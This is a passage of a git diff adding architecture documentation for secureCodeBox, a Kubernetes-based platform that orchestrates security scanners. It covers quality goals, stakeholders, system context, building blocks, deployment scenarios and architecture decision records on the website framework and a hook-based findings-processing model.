| The _Operator_ or _Tester_ deploys a scan into a namespace to make it available for defining scans. | +| UC6 | Deploy scan cluster wide to k8s | The _Operator_ deploys a scan cluster wide to make it available for defining scans. | +| UC7 | Deploy engine cluster wide to k8s | The _Operator_ deploys the _Engine operator_ cluster wide to make secureCodeBox available. | + +## Quality Goals {#_quality_goals} + +Below, the most important qualities are described that this project strives for. The qualities are categorized using the [ISO 25010][iso-25010] standard. Most of these qualities are derived from blog post [The Architecture of secureCodeBox v2][blog-architecture]. For the entire list of quality-goals see [Quality Requirements](/docs/architecture/quality_requirements). + +| **Category** | **Quality** | **Description** | **Scenario** | +|------------------------|----------------------|----------------------------------------------------------------------|--------------| +| Maintainability | Modular | All components should be loosely coupled to easily swap them | | +| | Ease of integration | It should be possible to easily integrate new scanners | | +| | Ease of Contributing | SCB should be well documented | | +| | Ease of updating | Third-party software should be carefully chosen, for maintainability | SC1 | +| Portability | Adaptable | SCB Should run everywhere (local, VMs, Cloud, etc.) | SC2 | +| Performance Efficiency | Resource Efficient | SCB should scale to the available resources | SC3 | +| | Time Efficient | Tasks should run parallel to optimize the use of resources | | +| Usability | Ease of Integration | The definition and implementation of a scan process should be easy | SC4 | + +### Scenarios + +| **Id** | **Scenario** | +|--------|-------------------------------------------------------------------------------------------------------| +| SC1 | A third-party updates their software with a breaking change. Effort to support this update is minimal | +| SC2 | A company is running SCB in the cloud, due to limited resources on premise | +| SC3 | SCB is out of resources and a new scan is initiated. The scan is queued until resources are available | +| SC4 | A scan is easily created and started by writing and loading a config file | + +## Stakeholders {#_stakeholders} + +| **Company** | **Name** | **Role** | **GitHub Account** | +|-------------|-------------------|--------------------------|----------------------------------------------------| +| iteratec | Robert Seedorff | Product Owner | [@rseerdorff](https://github.com/rseedorff) | +| | Sven Strittmatter | Scrum Master & Developer | [@Weltraumschaf](https://github.com/Weltraumschaf) | +| | Jannik Hollenbach | Core Developer | [@J12934](https://github.com/J12934) | +| | Max Maass | Core Developer | [@malexmave](https://github.com/malexmave) | +| | Ilyes Ben Dlala | Core Developer | [@Ilyesbdlala](https://github.com/Ilyesbdlala) | +| | Rami Souai | Core Developer | [@RamiSouai](https://github.com/RamiSouai) | +| Secura | Ralph Moonen | CTO | N/A | +| | Sander Maijers | Developer | [@sanmai-NL](https://github.com/sanmai-NL) | +| | Stijn van Es | Developer | [@Stijn-FE](https://github.com/Stijn-FE) | +| | Ali Altun | Developer | N/A | + +[iso-25010]: https://iso25000.com/index.php/en/iso-25000-standards/iso-25010 +[blog-architecture]: https://www.securecodebox.io/blog/2021/07/20/the-architecture-of-securecodebox-v2 diff --git a/documentation/docs/architecture/03_system_scope_and_context.md b/documentation/docs/architecture/03_system_scope_and_context.md new file mode 100644 index 0000000000..bdf8b2aac3 --- /dev/null +++ b/documentation/docs/architecture/03_system_scope_and_context.md @@ -0,0 +1,54 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "System Scope and Context" +sidebar_label: "System Scope and Context" +sidebar_position: 3 +--- +# System Scope and Context {#section-system-scope-and-context} + +_secureCodeBox_ is an orchestration platform managing scans with various security tools and processing the results. The aim of this project is to make automated vulnerability scanning easy and efficient. The diagrams below illustrate the external factors and the context in which _secureCodeBox_ is used. + +_secureCodeBox_ only manages the scan execution. The scanning functionality itself is considered out of scope and relies on third-party security scanners. + +## Context Boundary {#_business_context} + +The following diagram shows the_secureCodeBox_ as blackbox system and all other systems and actors depending on _secureCodeBox_ or _secureCodeBox_ depends on. The arrows in the diagram indicate the direction of the dependency: The system which "points with the arrow" to another system means that it depends on that other system and can't fully operate without this system. + +![Context boundary diagram](/img/docs/architecture/context-boundary-diagram.png) + +### Systems + +The following table describes the systems _secureCodeBox_ interacts with. The description is deliberately brief. The details of the used APIs are documented in the [building block view](/docs/architecture/building_block_view). + +| System | Description | +|:--------------------|:--------------------------------------------------------------------------------------------------------------------------------------| +| _secureCodeBox_ | This is the main system we discuss in this documentation. | +| _Container Runtime_ | _secureCodeBox_ depends on a container runtime (e.g. [Docker][docker], [Podman][podman] etc.) to build the container images. | +| _DockerHub_ | _secureCodeBox_ depends on the public services from [DockerHub][docker-hub] to push/pull container images. | +| _Kubernetes_ | [Kubernetes][k8s] is the main foundation of the _secureCodeBox_. We heavily rely on the API and _Custom Resources_. | +| _Helm_ | _secureCodeBox_ uses [Helm][helm] to build, publish and install the containers via _charts_ in [Kubernetes][k8s]. | +| _S3_ | _secureCodeBox_ depends on an [S3 API][s3-api] compliant backend to store its persistent data. | +| _3rd Party Tool_ | (**optional**) _secureCodeBox_ can import findings into other tools. | +| _Scanner Tools_ | _secureCodeBox_ depends on [various security scanner](/docs/scanners) tools. | +| _CI/CD_ | _Continuous Integration_ (CI) and _Continuous Deployment_ (CD) systems which may initialize a scan. | + +### Roles + +The following table describes the roles interacting with _secureCodeBox_. + +| Role | Description | +|:----------|:----------------------------------------------------------------------------------------------------------------------------------------------------| +| Operator | The role which operates the _secureCodeBox_ installation. (Do not confuse with Kubernetes _operator_ pattern, which we implement for the _engine_.) | +| Tester | The role which utilizes _secureCodeBox_ to perform security tests. | +| Developer | The role which develops the _secureCodeBox_. | + +[artifact-hub]: https://artifacthub.io/docs/ +[docker]: https://www.docker.com/ +[docker-hub]: https://hub.docker.com/ +[helm]: https://helm.sh/ +[k8s]: https://kubernetes.io/ +[podman]: https://podman.io/ +[s3-api]: https://docs.aws.amazon.com/AmazonS3/latest/API/Welcome.html diff --git a/documentation/docs/architecture/04_solution_strategy.md b/documentation/docs/architecture/04_solution_strategy.md new file mode 100644 index 0000000000..798c298654 --- /dev/null +++ b/documentation/docs/architecture/04_solution_strategy.md @@ -0,0 +1,25 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 +title: "Solution Strategy" +sidebar_label: "Solution Strategy" +sidebar_position: 4 +--- + +# Solution Strategy {#section-solution-strategy} + +This chapter describes the main technical concepts used as solution strategy to implement _secureCodeBox_. + +First lets narrow down the core responsibility of _secureCodeBox_. The whole system's responsibility is: + +1. to **orchestrate various security scanners**, and +2. **process and persist the findings** from these scanner's results. + +In version 1 we achieved this with an own application based on a business process engine. More about this topic and its drawbacks are described in the blog post [Why secureCodeBox 2.0](/blog/2021/06/07/why-securecodebox-version-2). Due to these drawbacks we [decided to use Kubernetes to manage scanners as custom resources][ADR-0015] and make an own implementation for this aspect of the system obsolete. More details about this decision is described in the previously linked ADR. + +The move to [Kubernetes][k8s] as implementation of our orchestration has the consequence that we do not have the SQL persistence available as in typical Java based application stacks. So, we [decided to use S3 and its API as our main persistence layer][ADR-16]. More details about this decision is described in the previously linked ADR. + +[ADR-0015]: /docs/architecture/architecture_decisions/adr_0015 +[ADR-0016]: /docs/architecture/architecture_decisions/adr_0016 +[k8s]: https://kubernetes.io/ diff --git a/documentation/docs/architecture/05_building_block_view.md b/documentation/docs/architecture/05_building_block_view.md new file mode 100644 index 0000000000..da747eddbb --- /dev/null +++ b/documentation/docs/architecture/05_building_block_view.md @@ -0,0 +1,250 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Building Block View " +sidebar_label: "Building Block View " +sidebar_position: 5 +--- +# Building Block View {#section-building-block-view} + +This section describes the static view of building blocks for _secureCodeBox_. We use the common pattern in architecture to describe the building blocks starting from the context boundary diagram from section [System Scope and Context](/docs/architecture/system_scope_and_context). The context boundary diagram is a blackbox view of _secureCodeBox_. Here we go one level deeper and describe the _secureCodeBox_ as whitebox system and describe all contained components as blackbox. If necessary we drill-down for each component for another whitebox view which describes its components as blackboxes. This proces of drill-down is done for each component and as deep as necessary. + +To keep this part short and only as complicated as needed, we base our documentation on the [C4][C4] model for visualizing software architecture. This model suggest to drill down four levels. + +1. _Context level_ overview, displaying the context in which the application is used. +2. _Containers level_ broadly describes the different data streams. +3. _Components level_ describing the different components and the interactions between them. +4. _Code level_ which will consist of class and/or database diagrams. + +The first context level as suggested by C4 is covered by the previous section [System Scope and Context](/docs/architecture/system_scope_and_context). + +## Whitebox Overall System {#_whitebox_overall_system} + +This part describes all components contained in the _secureCodeBox_ on the _container level_ of the C4 model. In this context container does not necessarily mean container in the manner of OS-level virtualization, such as Docker or Podman. This term is used more open as [Simon Brown describes in his talk about this model][C4-talk]. + +### Overview Diagram + +![building blocks whitebox level one](/img/docs/architecture/building-blocks-whitebox-level-1.png) + +### Contained Building Blocks + +:::note +**TODO**: Document the naming issue of _engine_ vs _operator_. +::: + + +| Name | Description | +|:---------------------|:-------------------------------------------------------------------------------------------| +| _Engine_ | The main component for scheduling scans. | +| _Hook SDK_ | Software development kit to help with writing custom _hooks_. | +| _Hook_ | A mechanism to hook into the processing of findings. | +| _Lurker_ | Sidecar container to collect the raw findings of a scanner tool. | +| _Parser SDK_ | Software development kit to help with writing custom _parsers_. | +| _ParserDefinition_ | K8s _Custom Resource_ to makes a _parser_ available in k8s. | +| _Parser_ | Component to parse the results of a _scanner_. Each _scanner_ has a _parser_ as companion. | +| _ScanCompletionHook_ | K8s _Custom Resource_ to makes a _hook_ available in k8s. | +| _ScanType_ | K8s _Custom Resources_ to makes a _scanner_ available in k8s. | +| _Scan_ | TODO | +| _Scanner_ | Component which wraps and run a concrete security scan tool. | + +### Important Interfaces + +| Name | Description | +|:-----------------|:-------------------------------------------------------------------------| +| _Kubernetes API_ | _secureCodeBox_ is highly integrated with the [Kubernetes API][k8s-api]. | +| _S3 API_ | _secureCodeBox_ uses the [Amazon S3 API][s3-api] to persist all data. | + +### Component Blackbox Views + +#### Engine {#_engine_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. + +**TODO**: Mention operator framework here. +::: + +#### Hook {#_hook_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### Hook SDK {#_hook_sdk_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### Lurker {#_lurker_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### Parser {#_parser_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### Parser SDK {#_parser_sdk_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### ParserDefinition {#_parser_definition_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### Scan {#_scan_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### ScanCompletionHook {#_scan_completion_hook_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### ScanType {#_scan_type_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### Scanner {#_scanner_blackbox_view} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +### Important Interfaces Blackbox Views + +#### Kubernetes API {#_kubernetes_api} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +#### S3 API {#_s3_api} + +##### Purpose/Responsibility + +:::note +Not documented yet. +::: + +##### Interface(s) + +:::note +Not documented yet. +::: + +[C4]: https://c4model.com/ +[C4-talk]: https://youtu.be/x2-rSnhpw0g +[k8s-api]: https://kubernetes.io/docs/concepts/overview/kubernetes-api/ +[s3-api]: https://docs.aws.amazon.com/AmazonS3/latest/API/Welcome.html diff --git a/documentation/docs/architecture/06_runtime_view.md b/documentation/docs/architecture/06_runtime_view.md new file mode 100644 index 0000000000..ee80e8c0fa --- /dev/null +++ b/documentation/docs/architecture/06_runtime_view.md @@ -0,0 +1,24 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Runtime View" +sidebar_label: "Runtime View" +sidebar_position: 6 +--- +# Runtime View {#section-runtime-view} + +This section describes the runtime view of _secureCodeBox_. In contrast to the static building block view, this view shows the interactions of participants (components/actors) over time. This is typically done with [sequence diagrams][wiki-uml-sequence]. + +Since sequence diagrams are hard to maintain and tend to be very complicated we focus here only on the top most important scenarios, and do not draw diagrams for every possible scenario. + +## Runtime Scenario 1: Basic Scan with kubectl {#__runtime_scenario_1} + +This scenario describes a simple [ZAP](/docs/scanners/zap) scan which is initialized by a _Developer_ actor and which persists the _findings_ in [Elastic][elastic] and [DefectDojo][defectdojo]. + +![Runtime view diagram](/img/docs/architecture/runtime-basic-scan-via-kubectl.png) + +[wiki-uml-sequence]: https://en.wikipedia.org/wiki/Sequence_diagram +[elastic]: https://www.elastic.co/ +[defectdojo]: https://www.defectdojo.org/ diff --git a/documentation/docs/architecture/07_deployment_view.md b/documentation/docs/architecture/07_deployment_view.md new file mode 100644 index 0000000000..9d56c1f904 --- /dev/null +++ b/documentation/docs/architecture/07_deployment_view.md @@ -0,0 +1,48 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Deployment View" +sidebar_label: "Deployment View" +sidebar_position: 7 +--- +# Deployment View {#section-deployment-view} + +This section describes the deployment of _secureCodeBox_. We do not cover all possible deployments, and instead concentrate on the most common scenarios. + +## Cluster Internal Central Scans {#_cluster_internal_central_scans} + +Cluster internal security scans with one dedicated namespace. The whole _secureCodeBox_ with all _Scan Types_ are deployed in the same namespace. + +### Overview Diagram + +![Cluster internal central scans diagram](/img/docs/architecture/deployment-cluster-internal-central-scans.png) + +:::note +The _S3 Bucket_, the optional build pipline ([Jenkins][jenkins] is just an example, may be any other CI/CD tool), and the _vulnerability management system_ ([DefectDojo][defectdojo] is just an example, it may be any other VMS) are deployd on different nodes in the diagram above. It is also possible to deploy them in the same cluster, on a different cluster, pr on a bare-metal machine or somewhere in the cloud. +::: + +### Motivation + +The motivation behind this scenario is to have one central point to accumulate all findings of all scanned namespaces. Typically, this scenario is for a team which wants to monitor a whole landscape of applications and services (e.g. a security operations (SOC) team). + +## Cluster/Namespace Internal {#_cluster_namespace_internal} + +Cluster internal security scans directly in the business service's namespace. Only the _engine_ (_operator_, _lurker_, _hooks_) are deployed in a central dedicated namespace. The _Scan Types_ are deployed into the namespaces of the scanned application. + +### Overview Diagram + +![Cluster internal central scans diagram](/img/docs/architecture/deployment-cluster-namespace-internal.png) + +:::note +The _S3 Bucket_, the optional build pipline ([Jenkins][jenkins] is just an example, may be any other CI/CD tool), and the _vulnerability management system_ ([DefectDojo][defectdojo] is just an example, it may be any other VMS) are deployd on different nodes in the diagram above. It is also possible to deploy them in the same cluster, on a different cluster, pr on a bare-metal machine or somewhere in the cloud. +::: + +### Motivation + +The motivation behind this scenario is to provide each development team its own instance of _secureCodeBox_. The common parts like _operator_ is shared, but each team deploys its own _scans_ inside their namespace. Typically, you will use this scenario if you do not want to allow teams to see the findings of other teams. + + +[jenkins]: https://www.jenkins.io/ +[defectdojo]: https://www.defectdojo.org/ diff --git a/documentation/docs/architecture/08_concepts.md b/documentation/docs/architecture/08_concepts.md new file mode 100644 index 0000000000..102ac53dd0 --- /dev/null +++ b/documentation/docs/architecture/08_concepts.md @@ -0,0 +1,20 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Cross-cutting Concepts" +sidebar_label: "Cross-cutting Concepts" +sidebar_position: 8 +--- +# Cross-cutting Concepts {#section-concepts} + +This section describes the cross-cutting concepts of _secureCodeBox_. These are concepts which affect all components. Instead of concepts only affecting a single or some components. They are described here particularly because they are not easy exchangeable with something differently. In fact, they are strong coupled dependencies, and therefore must be chosen carefully. + +## Custom Resources {#_custom_resources} + +:::note +Not documented yet. +::: +<!-- TODO: https://github.com/secureCodeBox/documentation/issues/236 --> + diff --git a/documentation/docs/architecture/09_architecture_decisions/_category_.json b/documentation/docs/architecture/09_architecture_decisions/_category_.json new file mode 100644 index 0000000000..f92fe27121 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Architecture Decisions", + "position": 9 +} diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0000.md b/documentation/docs/architecture/09_architecture_decisions/adr_0000.md new file mode 100644 index 0000000000..198e1f8417 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0000.md @@ -0,0 +1,35 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0000: TITLE" +sidebar_label: "ADR-0000" +--- + +# ADR-0000: Short present tense imperative phrase, less than 50 characters, like a email subject + +<!-- + Use one of the ADR status parameter based on status + Please add a cross reference link to the new ADR on 'superseded' ADR. + e.g.: {adr_suposed_by} <<ADR-0000>> +--> +| <!-- --> | <!-- --> | +|----------------|--------------------------------------------------------------------------------------| +| **Status**: | PROPOSED or ACCEPTED or REJECTED or DEPRECATED or SUPERSEDES [ADR-0000](ADR-0000.md) | +| **Date**: | YYYY-MM-DD | +| **Author(s)**: | John Doe <john.doe@snafu.com>, jane Doe <jane.doe@snafu.com> | + +## Context + +What is the issue that we’re seeing that is motivating this decision +or change. + +## Decision + +What is the change that we’re actually proposing or doing. + +## Consequences + +What becomes easier or more difficult to do because of this +change. diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0001.md b/documentation/docs/architecture/09_architecture_decisions/adr_0001.md new file mode 100644 index 0000000000..7392749f25 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0001.md @@ -0,0 +1,44 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0001: Choosing the framework for the new secureCodeBox Website" +sidebar_label: "ADR-0001" +--- +# ADR-0001: Choosing the framework for the new secureCodeBox Website + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED | +| **Date**: | 2019-08-21 | +| **Author(s)**: | Daniel Patanin <daniel.patanin@iteratec.com>, Jannick Hollenbach <jannick.hollenbach@iteratec.com> | + +## Context + +There are tons of different frameworks for building websites out there. We must choose the most fitting one for our use, fulfilling our mandatory requirements: + +• Common programming language, if applicable easy to learn • Overall easy to use and start-up, also locally • Tutorials, examples and a good documentation • Bonus points for great and many easy to use templates and plugins • Needs continuous support and contribution • Must be able to be deployed as GitHub pages + +We will choose from the following popular/trending: + +- [Gridsome](https://gridsome.org/) +- [Gatsby](https://www.gatsbyjs.org/) +- [Hugo](https://gohugo.io/) +- [Jekyll](https://jekyllrb.com/) + +### Research + +These frameworks do all fulfill the requirements to the extent that I estimate them as wellsuited. First, I researched the listed features on the respective sites or quickly googled after it specifically and found instantly the requested feature. I followed up with a general overview of how old the frameworks, how popular they are and for example pages build with them. Afterwards I searched for comparison blogs and posts, mostly to examine their comments. Most of these „pro-cons “-posts are inaccurate and very superficial, but luckily because of that the comment sections hold interesting discussions and comparisons from overall features and usability to specific issues and problems of each framework and which framework fits what use-cases in general. After this research I’ve come to a majority of similar experience sharing and discussions. These described the distribution of these frameworks as follows (roughly summarized): + +Gridsome is like Gatsby just for VueJS. Gatsby is blazing fast after building the pages but requires a little bit more understanding of JavaScript and React and may not be as easy to get behind if you’ve never built a site with a static site generator before. Hugo is fast in building and based on Golang. But as a newbie to that language you’ll find yourself using the documentation very much, unless you learn this language to a curtain depth. Jekyll is simple in templating and very good for quickly starting a small blog site but based on ruby and therefore requires ruby dependencies. + +## Decision + +So, it seems that Hugo is a pretty good choice for sites with many, many…. like many pages. Jekyll seems to fit for a quick build. Gatsby and Gridsome require a bit more time to learn but have their advantages in speed and growth of the site. And whether you choose Gridsome over Gatsby relies on whether you want to use VueJS or not. + +Finally we’ve decided to use Gatsby. Some of the main reasons is it’s fast performance, the extensive documentation and tutorials and also the language, since Hugo (the other framework we considered mainly) is based on Golang, and as for my part as a developer I feel completely comfortable and prefer working with JSX. Overall it comes down to preferences mostly, since we’re not going to build a giant Website, nor are we planning on implementing “crazy” Features. + +## Consequences + +For the integration of our multi-repository documentation we’ll use Antora if working this out with Gatsby is going to be more difficult than integrating Antora. We’re aware that using Gatsby requires a bit more maintenance and has the drawback, that if anybody else will maintain or work on the website, this person will need to at least understand the basics of React and GraphQL. diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0002.md b/documentation/docs/architecture/09_architecture_decisions/adr_0002.md new file mode 100644 index 0000000000..34bfae24e0 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0002.md @@ -0,0 +1,211 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0002: How can we introduce a more general extension concept for data processing modules?" +sidebar_label: "ADR-0002" +--- +# ADR-0002: How can we introduce a more general extension concept for data processing modules? + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED | +| **Date**: | 2020-05-20 | +| **Author(s)**: | Jannik Hollenbach <Jannik.Hollenbach@iteratec.com>, Jorge Estigarribia <Jorge.Estigarribia@iteratec.com>, Robert Seedorff <Robert.Seedorff@iteratec.com>, Sven Strittmatter <Sven.Strittmatter@iteratec.com> | + +## Context + +### Status Quo + +One major challenge implementing the *secureCodeBox* is to provide a flexible and modular architecture, which enables the open source community to easily understand the concepts and especially to extend the *secureCodeBox* with individual features. Therefore we decided to separate the process stages of a single security scan (instance of *scanType* custom resource definition; further abbreviated with *CRD*) in three major phases: + +```text +┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ +│ scanning ├─────────▶│ parsing ├─────────▶│ persisting │ +│ (phase 1) │ │ (phase 2) │ │ (phase 3) │ +└──────────────────┘ └──────────────────┘ └──────────────────┘ +``` + +By now the phase 3 "persisting" was implemented by so called *PersistenceProviders* (e.g., the *persistence-elastic* provider which is responsible for persisting all findings in a given elasticsearch database). The *secureCodeBox* Operator is aware of this 3 phases and is +responsible for the state model and execution of each security scan. + +### Problem and Question + +We identified different additional use cases with a more "data processing oriented" pattern than the implemented phase 3 "persisting" indicates. For example, we implemented a so called *MetaDataProvider* feature, which is responsible for enhancing each security finding with additional metadata. But the *MetaDataProvider* must be executed after the phase 2 "parsing" and before the phase 3 "persisting" because it depends on the parsed finding results (which will be enhanced) and the updated findings should be also persisted. + +To find a proper solution, we split the topic into the following two questions: + +1. Should we unify the concepts *MetaDataProvider* and *PersistenceProvider*? +2. How should the execution model look like for each concept? + +#### Question 1: Should We Unify the Concepts MetaDataProvider and PersistenceProvider? + +##### Solution Approach 1: Unify + +Both "modules" are "processing" the security findings, which were generated in the phase 2 "parsing", but there is one major difference between them: + +- a *PersistenceProvider* is processing the findings **read only**, and +- a *MetaDataProvider* is processing the findings **read and write**. + +There is a similar concept in Kubernetes called [AdmissionController](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/), but with the exception that the will be executed before a resource is created. + +There are two variants of *AdmissionControllers*: + +1. *ValidatingWebhookConfiguration*: **read only**, **executed last**; and +2. *MutatingWebhookConfiguration*: **read and write**, **executed first**. + +We could do a similar thing and introduce CRD which allows to execute "custom code" (depends on the second question) after a scan has completed (meaning both phases "scan" and "parsing" were done). Some +name ideas: + +- *ScanHooks* +- *ScanCompletionHooks* +- *FindingProcessors* + +These could be implemented with a `type` attribute, which declares if they are **read only** or **read and write**. + +The *secureCodeBox operator* would process all these CRDs in the namespace of the scan and execute the **read and write** ones first in serial only one at a time to avoid write conflicts and then the **read only** ones in parallel. + +```yml +apiVersion: execution.securecodebox.io/v1 +kind: ScanCompletionHook +metadata: + name: my-metadata +spec: + type: ReadAndWrite + # If implemented like the current persistence provider + image: my-metadata:v2.0.0 +``` + +The Execution Flow would then look something like this: + +```text + ┌ ReadOnly─Hooks─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ + ┌ ReadAndWriteHooks ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┌────────────────────────────────┐ │ + ┌───────────────────────┐ │ ┌──┼▶│ Elastic PersistenceProvider │ +┌──────────────────┐ ┌──────────────────┐ │ │ ReadAndWrite Hook #1 │ ┌───────────────────────┐ │ └────────────────────────────────┘ │ +│ Scan ├──▶│ Parsing │────▶│ "MyMetaDataProvider" ├─▶│ ReadAndWrite Hook #2 │─┼──┤ │ ┌────────────────────────────────┐ +└──────────────────┘ └──────────────────┘ │ └───────────────────────┘ └───────────────────────┘ └───▶│ DefectDojo PersistenceProvider │ │ + ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ │ └────────────────────────────────┘ + ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ +``` + +###### Pros + +- Only one implementation. +- Pretty generic to expand and test out new ideas without having to modify the *secureCodeBox operator*. + +###### Cons + +- Possibly an "over-abstraction". +- Need to refactor the *persistence-elastic* provider. +- The "general implementation" will be harder than the individual ones. + +##### Solution Approach 2: Keep Split between Persistence Provider and MetaData Provider + +Keep *PersistenceProvider* as they are and introduce new *MetaDataProvider* CRD which gets executed before the *PersistenceProviders* by the *\_secureCodeBox operator*. + +```text + ┌ Persistence Provider─ ─ ─ ─ ─ ─ ─ ─ + ┌ MetaData Provider ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┌────────────────────────────────┐ │ + ┌───────────────────────┐ │ ┌──┼▶│ Elastic PersistenceProvider │ +┌──────────────────┐ ┌──────────────────┐ │ │ ReadAndWrite Hook #1 │ ┌───────────────────────┐ │ └────────────────────────────────┘ │ +│ Scan ├──▶│ Parsing │────▶│ "MyMetaDataProvider" ├─▶│ ReadAndWrite Hook #2 │─┼──┤ │ ┌────────────────────────────────┐ +└──────────────────┘ └──────────────────┘ │ └───────────────────────┘ └───────────────────────┘ └───▶│ DefectDojo PersistenceProvider │ │ + ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ │ └────────────────────────────────┘ + ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ +``` + +###### Pros + +- Quicker to implement. +- Might be worth it to have a separate concept for it. + +###### Cons + +- Not sure if it worth to introduce a new CRD for everything, + especially when it’s conceptually pretty close to to something already existing. + +#### Question 2: How Should the Execution Model Look like for Each Concept? + +##### Solution Approach 1: Like the Persistence Provider + +Basically a docker container which process findings takes two arguments: + +1. A pre-defined URL to download the findings from. +2. A pre-defined URL to upload the modified findings to. + +Examples: + +- NodeJS: `node my-metadata.js "https://storage.googleapi.com/..." "https://storage.googleapi.com/..."` +- Java: `java my-metadata.jar "https://storage.googleapi.com/..." "https://storage.googleapi.com/..."` +- Golang: `./my-metadata "https://storage.googleapi.com/..." "https://storage.googleapi.com/..."` + +###### Pros + +- One liner with the current implementations. +- Code overhead / wrapper code is pretty minimal. +- Zero scale: no resource costs when nothing is running. + +##### Cons + +- May results in too many Kubernetes jobs. + - Resource blocking on finished resources. + - `ttlAfterFinished` enabled. +- Container runtime overhead (especially time). + +##### Solution Approach 2: A WebHooks Like Concept + +Analog to kubernetes webhooks: HTTP server receiving findings and returning results. + +##### Pros + +- Milliseconds instead of seconds for processing. +- No overhead for container Creation. +- No additional kubernetes jobs needed. + +##### Cons + +- Introduces new running services which needs to be maintained and have uptime. +- Code overhead / boilerplate (Can be mitigated by an SDK). +- Debugging of individual *MetaDataProvider* is harder than a single service which handles everything. +- Introduces "new"cConcept. +- Certificate management for webhook services (`cert-manager` required by default?). +- Scaling for systems with lots of load could be a problem. +- One service per namespace (multiple tenants) needed → results in many running active services which is resource consuming. + +## Decision + +Regarding question 1 it seems that both solution approaches are resulting in the same execution model. We decided to implement solution approach 1 and unify both concepts into a more general concept with the name *hook concept*. Therefore we exchange the existing name *PersistenceProvider* for phase 3 in the execution model with a more general term *processing*: + +```text +┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ +│ scanning ├─────────▶│ parsing ├─────────▶│ processing │ +│ (Phase 1) │ │ (Phase 2) │ │ (Phase 3) │ +└──────────────────┘ └──────────────────┘ └──────────────────┘ +``` + +Regarding question 2 we decided to implement the solution approach 1 with a job-based approach (no active service component needed). Therefore the phase 3 *processing* will be split into two separate phases named *ReadAndWriteHooks* (3.1) and *ReadOnlyHooks* (3.2): + +```text + ┌ 3.2 processing: ReadOnlyHooks ─ ─ ─ + ┌ 3.1 processing: ReadAndWriteHooks ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┌────────────────────────────────┐ │ + ┌───────────────────────┐ │ ┌──┼▶│ Elastic PersistenceProvider │ +┌──────────────────┐ ┌──────────────────┐ │ │ ReadAndWrite Hook #1 │ ┌───────────────────────┐ │ └────────────────────────────────┘ │ +│ scanning ├──▶│ parsing │────▶│ "MyMetaDataProvider" ├─▶│ ReadAndWrite Hook #2 │─┼──┤ │ ┌────────────────────────────────┐ +└──────────────────┘ └──────────────────┘ │ └───────────────────────┘ └───────────────────────┘ └───▶│ DefectDojo PersistenceProvider │ │ + ─ ─ ─ ─ 